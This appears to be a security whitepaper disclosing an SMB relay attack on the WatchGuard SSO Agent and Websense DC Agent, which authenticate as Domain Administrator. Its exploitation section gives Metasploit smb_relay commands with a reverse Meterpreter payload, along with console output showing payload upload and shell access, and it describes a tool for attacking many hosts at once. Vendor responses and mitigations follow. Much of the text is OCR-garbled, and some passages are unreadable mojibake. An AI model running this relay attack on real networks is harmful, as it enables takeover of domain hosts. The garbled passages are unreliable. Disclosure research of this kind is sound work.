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1.0 INTRODUCTION

This whitepaper details how a common mechanism employed by multiple Internet filtering and
firewall vendors can béeveraged to gain local administrator acceéssdomain clients followed by
domain wide administrator access given a set of conditions.

The following section gives a brief summary of the findings of this whitepaper with section 3
providingbackground information on the transparent user idiéication process. Thisection starts

with discussing why transparent usiglentificationis used by vendors and then discusses some of
the techniques used to achieve this. Background information onSMB protocol used in the
process is included as well as information on how best to exploit this protocol

Section 4 details the vulnerability itself which is caused due to firewall and content filtering vendors
utilising SMB within the implementation dfeir transparent user identification mechanism.

Section 5 then details the techniques used to exploit the enahility covered in this whifgaper.

The first exploitation technique discussed is manual exploitation using the smb_relay module
included as prt of the Metasploit Framework(http://www.metasploit.com/). A case is then put
forward for the requirement to perform the manual exploit against multiple targets automagicall
modified version of theMetasploitsmb_relay module is then presented that meets this need. This
section concludes with a description of how to capttine SMB credentials and how best to crack
the password

Section 6 discusses various limitatiorighe vulnerability with section 7 listing the applications that
have been observed as being affected by the issues presented within this whitepaper.

Section 8 presents responses frdmth WatchGuard and Websense regarding thttack vector
discussed witm this whitepaper which is made possible due to their SSO Agent and DC Agent
utilising SMB

Section 9 presestpossible mitigations techniques available to remove this attack vector and
corresponding caveats to thdiscussednitigation techniques and fadly section 10 lists referense
used within the research of this whitepaper.

1.1 PROJECOBJECTIVES

This issue was first identified during an onsite penetration test. An inbound SMB connection was
observedattemptingto establish a SMB session withthee net r at i o n udingasDoreain® s | ap
Administrator account The connection appeared to be triggered by an attempt to connect
outbound through the corporate firewall, a research project was undertaken to investigate the issue,
specifically:

9 Verify that the observedconrection was triggered by the firewall under test.
1 Create a tool to exploit the issue if required

1 Identify additional vendors vulnerable to exploit using this connection

1 Recommend workarounds and provide an assessment report to theovés)d



http://www.metasploit.com/modules/exploit/windows/smb/smb_relay

2.0 BRIEF SUMMARY OF BINGS

Multiple firewall and web filtering solutions utilise a process to transparently idemhiéy user
logged on to a domain cliento allow per user access control without enforcing manual
authentication at the gatewayThe "transparent user authenticatiorprocess across all assessed
products operates by first authenticating to the connecting client thiea Server Message Block
(SMB) protocoland then calling a remote function to identify the usét number of differen
methods areadopted post authentication to identifthe logged in useand each assessed product
differs in its approachA commonality across each implementation is that a highly privileged account
such as a Domain Administrator user is requiieedthe feature to operate.

Vulnerabilities witin the SMB protocol have existed sint896/1997and are well documentétf

but the attacks used then are still as relevant as they ever were. By exploiting well known SMB
vulnerabilities and the transparent es identification process it is possible to cpramise almost
every host on a \iddows Domain by merely triggering this transparent user identification process.

3.0 BACKGROUND INFORMAN

The followingsection contains a high level discussion of the tramspt user identification process
that has been observed within the WatchGuard SSO Agent and Websense DC Agent and the inherent
issues witin the SMB Protocol that both these produatse

3.1 THE NEED FOR TRANSPWAT USEIRENTIFICATION

Although many organisations recognise that they must secure their IT systems this can often be at
the expense of end user usabildp security nearly alwayl®sesout to the usability and functionality
of the IT systems.

Typically, different functionalrgups within an organisation demand different requirements from

their IT systems, requiring some form of user identification to impose different access controls
allowing the functional groupasers to carry on with their day to day activities. The drive fo

simplicity and ease of use has led many manufacturers to employ techniques to transparently
identify users in an attempt to enhancethes er * s e x p er i eerideatificatibmwarkss p ar e nt
by identifying which user is trying to access a resourcdjowit prompting the user for their user
credentialsthereby making thewhole process transparent. The following sections discuss the
varioustechniques employed by vendors to transparently identify users to assign granular Internet

filtering policies to diierent groups of users.




3.2 TRANSPARENT USERNIDEICATION PROCESS
Transparent Authentication Overview

1 A user attempts to connect out to the internet through the firewall or gateway device.

1 The firewall or gateway device connects back to the userskstation in an attempt to
identify who is currently logged in at the desktdphis is typically achieved by establishing a
SMB connection to the workstation using a Domain Administrator user accdiet.
WatchGuard Firewall uses a software agentinstatied a server named t
perform the connecti on, Websense has a si
Agent’”

I Access is then determined based on the retrieved username.

3.2.1 WATCHGUARD SSO AGENALYSIS (SSO AGENERSION 10.0)

Versionl0ofWat c h Guar d’ s S SSWB gegsomtthe hadderlRCS$ sharthen uses the
netapi32 Workstation Service\wkssvg and the NetWkstaUsersEnunfunction (Listed as
NetWkstaEnumUsers in the Packet CaptureFigure 2 to determine the logged inser. This
method changed in later releases due to reliability issues in identifying the currently logged on users
Specificallythe NetWkstaUsersEnum function returns information about all users currently logged
on including interactive, service and batclogons which resulted in false positive within the
authentication proces§’

Figure 1 below shows a packet capture with the response packet to the NetWkstaEnumUsers
function request highlighted, showing the user name Administrator.

wil%uald 550\ e —— cm— ‘ J— E@%

File Edit View Go Capture Analyze Statistics Telephon! Tools Help

Bueoee DEXEBE AesTL QQan| @®®% 8

Filter: = Expression.. Clear Apply
No. Time Source Destination Protocol Info &
51 22.184288010.0.1.100 10.0.1.61 DCERPC gind: call_id: 1, 2 context items, 1sT WKSSVC V1.0

53 22.295676010.0.1.100 L0.1. erp-scale > microsoft-ds [ACK] 5eq=1160 Ack=1108 Win=63133 Len=0

54 22.342542010.0.1.100 L0.1. read AndX Request, FID: 0x4000, 1024 bytes at offset 0

56 22.514461010.0.1.100 10.0.1.861 TCP erp-scale > microsoft-ds [ACK] 5eq=1223 Ack=1264 Win=62977 Len=0

57 22.530502010.0.1.100 10.0.1.861 WKSSVC NetwksSTAENUMUSErs reguest

58 22.531188010.0.1.61 10.0.1.100 WKSSVC NetwkstaEnumUsers response

59 22.531547010.0.1.100 10.0.1.61 SMB Close Request, FID: 0x4000 ‘E‘
61 22.732502010.0.1.100 10.0.1.61 TCP erp-scale > microsoft-ds [ACK] Seq=1444 Ack=1671 win=64201 Len=0

62 25.506001010.0.1.61 1.1.1.1 ICMP Echo (ping) reguest (id=0x0001, seq(be/1e)=3/768, tt1=128)

63 26.783690010.0.1.100 10.0.1.861 DNS standard query response, server failure

65 30.520998010.0.1.61 239.255.255.250 55DP M-SEARCH ¥ HTTP/1.1

66 30.638631010.0.1.61 1.1.1.1 ICMP echo (ping) request (1d=0x0001, seq(be/le)=4/1024, ttl=128)

67 30.858737010.0.1.100 10.0.1.61 TCP 5142 > microsoft-ds [SYN] Seq=0 wWin=64240 Len=0 M55=1460 SACK_PERM=1

< m 5
= user L
= Pointer to user Name (uintlé): Administrator
Referent ID: 0x00020018
Max Count: 14
offset: 0
Actual Count: 14
I User Name: Administrator <

0130 00 00 00 00 00 00 Oe 00 00 00 ZEESGIVACTERNGTINETRTY
(Ll 60 00 6e 00 69 00 73 00 74 00 72 00 61 00 74 00
0150 [ el Eniely 09 00 00 00 00 00 00 00 03 00
0160 00 00 >4 00 52 00 41 00 49 00 4e 00 49 00 4e 00
0170 47 00 00 00 00 00 Ol OO 0O OO 0O QO 00 00 Ol 00
0180 00 00 00 00 00 00 04 OO 00 00 OO0 0O 00 00 04 00

e User Name (whssve.wkssve_MetrWkstaUserl... | Packets: 115 Displayed: 115 Marked: 0 Load time: 0:00.058 Profile: Default

Figurel: Packet @pture of the NetWkstatEnumUsers Response Retrieved by the WatchGuard SSO Agent (Version 10.0)




3.2.2 WATCHGUARD SSO AGENALYSIS (SSO AGEERSION 11.5.2)

Analysing the WatchGuard SSO Agetraffic flow through Wireshark shows a SMB connection from

the SSO Agent to the client, firstly connecting to the IR@$esand then connecting tteventlog.

Requests are then made to read the event log with the EVENTLOG_SEQUENTIAL_READ and
EVENTLOG_BACKWARDS_READ flags being set in order to read the estertiriggsom the most

recent log one by one in sequential order. The responses to these requedtsnthe clientsevent

log entries, which are then used by the SSO Agent to identify the logged in ligeme2 below

shows one of the eventlog resparscontainingan event log entryrom the client machine.

e i Wik | =

File Edit View Go Capture Analyze Statistics Telephony Tools Help

Beoes bEXRE AacesaT2IEE QAR @DM%| B

Filter: + Expression.. Clear Apply
No. Time Source Destination Protocol Info .
L% UL WUMIUGN Lf L. Jk. M. CUw trc.dr.c.cw e LM TR L o A USUE LD LR STY—Imed MU SN WU g S ds LSy

425 61.6007690172.31.0.200 172.31.2.26 SMB Read AndX Request, FID: Ox4000, 4280 bytes at offset 0

427 61.6013530172.31.0.200

172.31.2.26 EVENTLOG ReadEventLogw request

429 61.6022660172.31.0.200 172.31.2.26 TCP blwnkl-port > microsoft-ds [ACK] 5eq=3692 Ack=57408 Win=65535 Len=0
430 61.6026060172.31.0.200 172.31.2.26 SMB Read AndX Request, FID: O0x4000, 4280 bytes at offset 0
431 61.6026420172.31.2.26 172.31.0.200 EVENTLOG ReadEventLogw response
432 61.6030970172.31.0. 200 172.31.2.26 EVENTLOG ReadEventLogw request i
. b

RCLUI G LehgLie SLey "

= Record
Size: 584

Reserved: 1699505740

Record Number: 30568

Time Generated: 1345625144

Time written: 1345625144

Event Id: 4625

Event Type: 16

Num of strings: 21

Event Category: 12544

rReserved Flags: 0

Closing Record Number: 0

stringoffset: 180

5id Length: 0

sid offset: 180

pata Length: 0

Data offset: 576

source_name: Microsoft-windows-Security-Auditing
computer_name: SECLCWTRAINOZ.sec-1.Tlocal
string: 5-1-5-21-53334070-2615889639-256040443-1146
string: waynem

string: SEC-1

string: Oxdé5as5c

m

string: s-1-0-0
string: Guest

string: SECICWTRAINOZ -
13f0 00 00 00 00 00 0O 00 00 00 Q0 00 00 00 Q0 Q0 00 ........ ...... L. -
1400 00 00 00 00 [EiFWFINEY 00 00 00 00 00 00 00 00 ... ...

Frame (1022 bytes]‘ Reassembled DCE/RPC (5136 bytes) ‘
0 Text item (text), 4 bytes Packets: 2458 Displayed: 2458 Marked: 0 Load time: 0:00.140 rofile Default

Figure2: Packet Capture of an Event Log Entry Retrieved by the WatchGuard SSO Agent (Version 11.5.2)

3.2.3 WEBSENSE DC AGENAIANSIS (DC AGENT $IER! 7.6.2)

Websensé s D C utilsesa sirhilar technique to versiohOof t he Wat chGuard’' s S
that it creates a SMB session, connects to the IPC$ share and uses the netapi32 service, though
WebsenseAgent calls the NetWkstaGetInfofunction to retrieve general information onthe

workstation's configuration (http://msdn.microsoft.com/en
us/library/windows/desktop/aa370663(v=vs.85).a¥pXThe details of logged in useaee retrieved

via the IWbemServicescomponent (instantiated via DCOM through port 135), using
IWbemServices.ExecQuery("Select * from Win32_ComputerSystem") to retrieve

records which include logged users.

Figure 3below shows a packet capture with thi&bemsServices.ExecQuery  ("Select * from
Win32_ComputerSystem")  request packet highlighted.

: w



http://msdn.microsoft.com/en-us/library/windows/desktop/aa370663(v=vs.85).aspx
http://msdn.microsoft.com/en-us/library/windows/desktop/aa370663(v=vs.85).aspx

- —— =
i websense_comms.pcapng - Wireshark E 3 lilﬂlﬂ

File Edit View Go Capture Analyze Statistics Telephony Tools Help
Bueea BPEARES A DTL QaQar| @®ms% 8

Filter: tcp.stream eq 6 ~ Expression.. Clear Apply

No. Time Source Destination Protocol Info -

99 94.0189800172.31 AlG/ ZEL 2 DCERPC Alter_context: call_id: 5 Iwbemservices v0.0

101 94.0196870172.31 172.31.2. DCERPC rRequest: call_id: 5 opnum: 20 ctx_id: 3 IwbemServices v0

105 94, 3106660172.31 172.31.2.69 IRemunknoiRemqueryInterface request IID[1]=IwbemFetchsmartenum
107 94.3176530172.31 172.31.2.69 DCERPC Alter_context: call_id: 7 IwbemFetchSmartEnum V0.0

109 94.3178820172.31 172.31.2.689 DCERPC Request: call_id: 7 opnum: 3 ctx_id: 4 IwbemFetchSmartEnum Vi

47 a4 ooen e P P e R P e S P S Py
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H Irdismis5> 100 COnNLror FroLocor, S0 FOCLD 110 L149Y), USL FOMLD 49133 (4Y1133), SeJ. 38Z/, ALKD YOO, LEMl. Z4)
FragLen: 245, call: 5 ctx: 3, [Resp: #104]
version: 5 [
version (minor): 0
Packet type: Request (0)
= Packet Flags: Ox83
... ..., = object: set
.0.. .... = Maybe: Not set

-

U4

00 00 00

96 29 BO 00 00 00 00 55

03 00 00 00 57
00 00 00 44
00 65 00 63
00 &f 00 6d
00 5f 00 43

s

m

00 72 00 53
00 65 O 00 01 00 00 00 00
00 00 00 00 00 00 00 09 04

00 00 60 23 06 09 2a 86 48 86 f7 12
02 01 01 11 00 ff ff ff ff 2f f6 80 e8 b2

Figure3: Packet Capture of théVbemServices.ExecQuery made by the Websense DC Agent

N.B. There are multiple deployment options available to Websen$his exploit would only be
available if the DC Agentilmplemented

3.3 SMBOVERVIEW

Server Message BlocBNIB also known asCommon Internet File System Clis&s a client/server
architecture allowingapplications to read/write to files over a networlSMBIs also used for Inter
process Communications through the IPC$ share which allows authenticated acpessesses on
remote computers to exchange informatio®MB is used on top of a network protaypically

TCP/IP.

The authentication used by SMB uses a challeegponse mechanism tprovide authentication
without sending a password over theetwork.  This technique is alstesignedto prevent replay
attacks and to complicatpassword cracking

In SMB authenticatiothe serversendsan 8byte (pseuderandom) challenge for thelient to then
encrypt with apassword haslderived from the uses password. Thencryptedchallenge is then
sent back to the servep authenticate the user Figure 4shows the typical negotiation flow of the

SMB challengeesponse mechaniswi t h t he WatchGuard “SSO Agent’

the target.!I°Il®!
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Figure 4: Typical SMB Negotiation Flow

3.4 SMBRELAY

The earliest thcussion into the problem of weak authentication within SMB points back to a paper

by Do mi

November 2008, Microsoft released a critical update (M86® to address an issue in the Server

ni que Brezinski called *“A

weakness
presented by Sir Dystic on the $8March 2001 at @lanta.con in AtlaffaGeorgia. On the 11

service thatcould allow remote code executioht{p://support.microsoft.com/kb/957097) and that

applies a limitation to the SMBRelay technique by preventing a host from presenting a challenge

back to itself”

SMB Relay works by enticing seu or system into initiating 8MB request (e.g. for a file share) to

the attackers workstaion. The attacker then relayper e quest al
target host making the SMB
Using this Masn-the-Middle technique, the attacker is able to make a successfld Sonnection to
the target host(see Figure 5)

anot her
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n (

with the u:

request

appe



http://support.microsoft.com/kb/957097
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Figure5: SMB Relay Negotiation Fldt
See the following resources for further information SMB Relay Attacks:

1 http://lwww.xfocus.net/articles/200305/smbrelay.html
1 http://blogs.technet.com/b/srd/archive/2008/11/11/smkcredentiatreflection.aspx
1 http://en.wikipedia.org/wiki/SMBRelay




4.0 MAINVULNERABILITY

The mainvulnerability existsd ue t o t he \adighly@nvileged wuser éDomoafin Admin)
within the transparent useauthentication process. It is possible for attacker to establisha SMB
session as domainadministrator to any host on the network by relaying the SMB connection used
by the affected system.

FHgure6 illustrates this process:

Instigate the SSO Process: Pingwww.sec-1.com

< >

hich user islogged into the Hacker
machine

Query S30 Agent: Askw!

Frewall

Rs Session Request: i

3 : Workstation service on SO

N réquests a connection to the Server service on HAageg(r;tr’s

SO = = —P 3

Ssion Requ :
Agent quest Relayed: Relay the request to the Victim
ession Response: Yesthat NetBIOSname is connectable s\a
esgon Response Relayed: Relay the response tothe SO Hacker 47 = P
0 | .
ssi Agent Victim

47

3 -

eption v s Negotiation Relayed: Relay the re i
| . X | quest to the Vict
v ant to use? asking to talk wnthou_t ext_end_ed security (asif the Slg
Agent Agent Qient is Windows NT4)
: ithout
. - Dialect selection ok, lets speak wit
Dialect Selection: Diale the challenge datato encrypt

Dialect Selectio Relayed: Relayt e dialect selectio and H extended security. Here's
aCkel | with

‘ challenge datato the S0 Agent

Session Setup: Here's my username and

T our challenge
encrypted with my password hyash fon
Sessio :
t ‘> N Setup Relayed: Relay the username and chal

Session Setup Response: Authentication successfu

ication failure Hacker that username/ password combination
3 henticatio
jon Setup Response: Send an aut!
X ‘ S0 P back to S30 Agent 4—
\\;
S
SO
Agent

lenge .

| with

Figure6: Attack Flow within the Transparent User Identification Process
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5.0 EXPLOITATION

This section discusses some of the attacks that can be used to exploit this vulnerability. The first
method demonstrates a manual exploitation technigque using Mhetasploit Frameworkto gain a
remote command shellThe second method uses a modified vensad the Metasploit smb_relay
module to exploit this vulnerability automatically across a range of hdséxtion 5.2 demonstrates

how a dictionary attack can be performed on the challenge/response to obtain the users password.

In the proceeding examples WathGuard Firewall, configured with @SO Agent installed on a
Windows 2003 Domaina@troller was used

5.1 REMOTE SHELL EXPAOIDON | SMB_RELAY

5.1.1 MANUAL SMB_RELAY EGP ATION

To exploit the vulnerability using the Metaspldiamework the following parameters should be
configured for the smb_relay module:

Option Description
SMBHOST | The IP address of the system we wish to compromise, in this case 10.0.1.2

PAYLOAD | This option configures the payload we wish to deploy during attack. In thig
example a reverse Meterpreter shell is used;

windows/meterpreter/reverse_tcp

LHOST Since we are using a connect back payload, this option is required to set {
address of the attacking hodh our example the IP address 10.0.1.3 was used.

LPORT This option defines the port for the connect back payload, we accept the de
4444 for our example.

The following commands were entered into the Metasploit console to configure the module:

msf > use exploit/windows/smb/smb_relay

msf exploit(smb_relay) > set RHOST 10.0.1.2

RHOST => 10.0.1.2

msf exploit(smb_relay) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp

msf exploit(smb_relay) > set LHOST 10.0.1.3

LHOST => 10.0.1.3

To confirm the smb_relay module configuration enter the command "show options" within the
MetasploitConsoleThe configuration used in this exammlen be seen ifigure?.

4




exploit(smb_relay) > show options

Module options (exploit-windows.smbssmb_relayl:

Name Current Setting Required Description

SMBHOST 0.1, The target SMB server (leave empty for originating system)

SRUHOST .0.0. The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRUPORT The local port to listen on.

SSL false Negotiate SSL for incoming commections

SSLCert Path to a custon SSL certificate (default is randomly generated)

§3LVersion 3SL3 Specify the version of SSL that should be used (accepted: 3SLZ, SSL3, TL31)

Payload options (windows/meterpreter-reverse_tcp):

Name Current Setting Required Descriptionm

EXITFUNC thread Exit technique: seh, thread, process, none
LHOST 10.0.1.3 The listen address
LPORT 4444 The listen port

Exploit target:

Id HName

0 Awntomatic

exploitismb_relayl) >

Figure7: Metasploit SMB Relay module configuration

Once the correct settings have been configured the attacker simply neddggder the transparent
user identification procesdy attempting an outbound connection to invoke the SSO Agent,
triggering this attack. In this example we simply ping an external host.

Figure8 shows the exploit iraction, as the attackeripgsan external host the SSCgént starts the
transparent useridentification process Once the exploit has completed the attacker has Local
Administrative access on the target machine.

exploit(snb_relay) > exploit
Exploit ruming as background job.

Started reverse handler on 10.0.1.3:4444
Jerver started.

exploit(snb_relay) > ping wwuw.demon.net
exec: ping www.demon.net

PING wwuw.demon.net (212.69.213.230) 56(84) bytes of data.
64 bytes from demon—web—1.dvs.demon.net (212.69.213.230): icmp_seq=1 tt1=51 time=21.0 ns
64 bytes from demon-web—1.dvs.demon.net (Z12.69.213.230): icmp_seq=Z tt1=51 time=20.8 ns
“CInterrupt: use the 'exit’ command to quit

exploit(snb_relay) >

Received 10.0.1.200:1848 TRAININGS3S0Agent LMHASH:78a64f6097d13bcebo?40e2be396904077ad1077388c5cad NTHASH: 78a64f6097413bcebe
740e2bc396904077a41077388c5cad 05 :Windows Server 2003 3790 Service Pack Z LM:

Authenticating to 10.0.1.2 as TRAININGNSSODAgent. ..

AUTHENTICATED as TRAININGNSSDAgent. ..

Connecting to the ADMING share. ..

Regenerating the payload...

Uploading payload...

Created “HC jnGLOJ .exe. . .

Commecting to the Service Control Manager...

Obtaining a service manager handle...

Creating a new service...

Closing service handle...

Opening service...

Starting the service...

Removing the service...

Closing service handle...

Deleting “HC jmGLOJ.exe. . .

Sending Access Denied to 10.0.1.200:1848 TRAINING\SSOAgent

Sending stage (752128 bytes) to 10.0.1.2

Meterpreter session 1 opewned (10.0.1.3:4444 —> 10.0.1.2:1058) at 2012-01-27 11:45:02 +0000

exploit(snb_relay) > sessions -i 1
Starting interaction with 1...

>

Figure8: Exploiting Transparent Uséuthentication with Metasploit
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5.1.2 AUTOMATATED ATTACKS

Setting up a SMB relay server for each host we wish to target can be a slow task. There are two
options for automating this process. The first is to use a resource scrigetasploitto automate

the process given hosts in tiMetasploitdatabase.The second is to modify the smiglay module

so that it takes a list of remote hosts (RHOSTS) and attempts to exploit each one in turn.
Theauto_smb_relaynodule (downloadable fromhttp://www.sec-1.com/blog is a proof of concept
Metasploitmodule that allows an attacker to specify a range of hosts and attempt to exploit each in
tun. It is essentialy the SMB Relay module, written by HD Moore
(http://www.metasploit.com/modules/exploit/windows/smb/smb_reldy but with a few
modifications that allows the setting and exploitation of multiple targets. Usage is the aarfm

the SMB relay module, as seenHigure7 and Figure8, except that aange of hosts is supplied in

the RHOSTS value. For speed it is better to enumerate a list of targets and supply this list as the
RHOSTS value, segure9. Exploitatbn requires that an attackesimply triggersthe transparent

user identification processAn example of exploiting multiple targets can be seerFigure 10.
Successil exploitation will, dependant on the payload, result in multiple compromised hosts, as
seen inFigurell.

A v % root@bt: ~
File Edit View Terminal Help

) > show options

smb_relay) :

dress¥en the loca

EXITFUNC niqt h, thread, pr@cess, none
LHOST a
LPORT

Figure9: auto_smb_elay Options



http://www.sec-1.com/blog
http://www.metasploit.com/modules/exploit/windows/smb/smb_relay

Applications Places System

Edit View Terminal Help

) root@bt: ~

A v

% root@bt: ~

File Edit View Terminal Help

AUTHORITY

AUTHORITY
AUTHORITY
AUTHORITY
AUTHORITY
AUTHORITY
AUTHORITY
AUTHORITY
AUTHORITY
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SYSTEM

c] [ FriOct 5, 6:19PM

X root@bt: ~

File Edit View Terminal Help

tt mi

PING
64 L

home

5.onkinehome

Figurel0: auto_smb_relayin Action
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Figurell: Completed Exploitation




5.2 CRACKING PABSRDS FRORRECOVERED NTLM SENSSECURITY HASHES

As well as using SMB Relay to gain remote code execution, it is also possible to perform an offline
password cracking against the NTLM Session Security hashes to recover the plain text password.

If the password can be guessed via a dictionary attaiskpitssible to use a tool such as Cain & Abel

to recover the clear text password. See the Cain & Abel documentation for instructions on
recovering password hashes usirig luilt in packet sniffetttp://www.oxid.it/ca_um/

6.0 LIMITATIONS
There are limitations$o this attackvectoras described below

1. Itis not possible to attack Windows 2003 and above Domain Controllers through this
mechanism. This is due to the default Domain Controller Security Policy of Windows
2003/2008 domains being configured to always require SMB Signing.

N.B. For pre Window2003 ServersSMB Signing is not enforced within the default
Domain Controller Security Policy. It is only configured to digitally sign server
communications when possible.

2. If the hostrunning the agenis patched with MS0868, you cannot relay the SMB
connection back tat.

7.0 AFFECTED APPLICATSON

The following applications have been tested as
employing thissametechnique for tansparentuseridentificationare likely to also be susceptible to
this type of attack.

Software Version Result DateFirst

Reported

WatchGuard SSO (Single | Tested with Versiam | Fully exploitable using the

Sign On) Client 10.0,11.5.2&11.6 techniques identified in
(Same techniquesed | this paper. Athtlme %f] 27/01/2012
(www.watchguard.com across all versios | Writing, WatchGuardhave

no plans to reengineer
this component.

Websense DC Agent Tested with Version | Fully exploitable using the
7.6.2 techniques identified in
(www.websense.com (Possibly all versions | this paper. 10/05/2012
are susceptible to this
attack)



http://www.oxid.it/ca_um/
http://www.watchguard.com/
http://www.websense.com/

8.0 VENDOR RESPONSES
This sectiorshows the responses from both WatchGuard and Websense.
8.1 WATCHGUARD

The following response was received from WatchGuard regarding this &&aéchGuard believes

the core vulnerability here ot in our systems. The true underlying vulnerability described here

fASa Ay aAONR&2F0 2AYR26QaJI{LIBNILINKE2 OAfyR216& Y S
the-l | A K¢ @dzt y S Nskaoding igsiedhathas bden idegtified in Windows. Any product

that leverages the SMB protocol or APIs to authenticate to Windows file shares is affected by this
Windows vulnerability to somextent. Your only true protection to this issue is to apply the

proper Windows patches, and to leverage security features in modern Windows servers.

2 KAfTS 2| GOKDdzZr NRQa | 3Syid R2SayQid adzZFFSNI FNRY (KA
protol), the use of the SSO agent does increase how often you see domain administrator

authentications on your network and hosts. So in short, these agents will make it a bit easier for a
f20Ff FadaGFrO1TSNI G2 OF LJidzNB I R 2tYThat said, lif BnYatkagk&ra G NI G 2 N
has local access to your network, there are many other ways the attacker could capture these

credentials, including leveraging ARP poisoning, and switch attacks to capture all your network

traffic. So again, though SSO agen@ymmake it somewhat easier/quicker for a local attacker to find

domain administrator credentials, they do not contribute to the underlying Windows flaw, and any
localattacker could leverage this SMB relay attack in many other ways as well.

While the real vulnerability lies in Windows SMB, WatchGuard strongly believes in protecting our

dza SNDa ySig2NjJaz FyR 6S s4lyil G2 R2 SOSNRBOIKAY3I Ay
other security problems. We cannot change Windows SMB, and@avenA RSy G AFASR ye& 2
offer SSO capabilities, but we are exploring whether or not you can create a special user in Windows
GAOUK Sy2dAaAK LINAGAf STISa (2 OKSO]l 6K2QBk  dziKSYyidaAOl
privileges. If this is possikleWindows, we will document and publish this as a best practice. That

Al AR AGQ& A Y LI2mIfik thiefundérigingyMndos SMB kuinera®ifityS 1&just means

the SSO agent would use to a less privileged user. Since this is a Windolesdlaattackers could

still capture and replay your domain administrator credentials some other way.

To summarize, the underlying vulnerability does not lie in our SSO agent or product. The true fix for
this problem is to apply the latest Microsoft pagsh and to leverage the SMB signing features in
modern Windows servers. If you are protecting your network from this underlying Windows SMB
issue, you do not have to worry about our SSO agent.

We would like to thank Wayne Murphy and Sefor bringing tlis issue to our attention. While we

R2y Qi GKAY]l GKS @dzZ ySNIoAfAGE A& 2dz2NBI GKSANI NB3
relay attack, and how SSO products can exacerbate the issue. We hope this research convinces

Windows administratorst6 S@SNJF 3S aAONR&2FiQa Y2NB NBOSyid {a.

8.2 WEBSENSE

The following response was received from Websense regarding this Gssudsiat an issue with
our software. We tried to configure workstation polling using a-admin account but it doesot
work that way. The advice to customers if they are concerned about the vulnerability is not to use

2Nl adl A2y LRffAYy3I gAGK 5/ | ASyi de ‘
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9.0 MITIGATION

This section will describe some of the mitigation techniques that are availalbéartovethis attack
vector completely.

9.1 SMB SIGNING

Since this issue is within the OS itself, the mitigation technique to combat this is contained within
the operating systems of the clientgthin the Windows Domain SMB Signing can be used to stop
SMB hijackinghereby preventing attackers from injecting themselves into an already established or
establishing session. It works by adding an authenticating signature to each segment of the SMB
conversation. This is used to verify that each message has originatedeftben party of the
communication channel.

There are two mechanisms for enabling SMB Signing

1. Through two registry keys:

a. HIVE: HKEY_LOCAL_MACHINE
KEY: SYSTEMirrentControlSéServicesLanManServaParameters
NAME: EnableSecuritySignature
TYPEREG_DWORD
VALUE: 1

b. HIVE: HKEY LOCAL_MACHINE
KEY: SYSTEMirrentControlS&ServicesRdk Parameters
NAME: RequireSecuritySignature
TYPE: REG_DWORD
VALUE: 1

2. Through Windows Active Directory Group Policies

Wi thin t he foll owing section er of Gr o

ConfigurationWindows Security Settingséocal PolicieSecur ity Opti ons” ,
following policies;

- Microsoft network client: Digitally sign communication (always)

- Microsoft network server: Digitally sign communication (always)

Mi crosoft’'s KnowlOedigweof Baver MesS8age7Block Bigning can give further
details on configuring SMB Signing within ~ your  Windows environment.
http://support.microsoft.com/kb/887429

9.2 SMB SIGNING CAVEATS
There are a few caveats to enabling SMB Signing
1. There is a slight performance hit when turning SMB Signing on, some reports have

highlighted a 10% reduction in fifl% copy
Wi t h tconuaing pa@wer this is probably not very noticeable.

en
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2. Older clients that do not support SMB Signing will no longer be able to connect to
resources with servers that require SMB Signing. Clients before Windows NT 4.0 SP3
and Windows 98 do not support SMBi gni ng, however in today’'s
be unlikely that systems older than this will still be in use.
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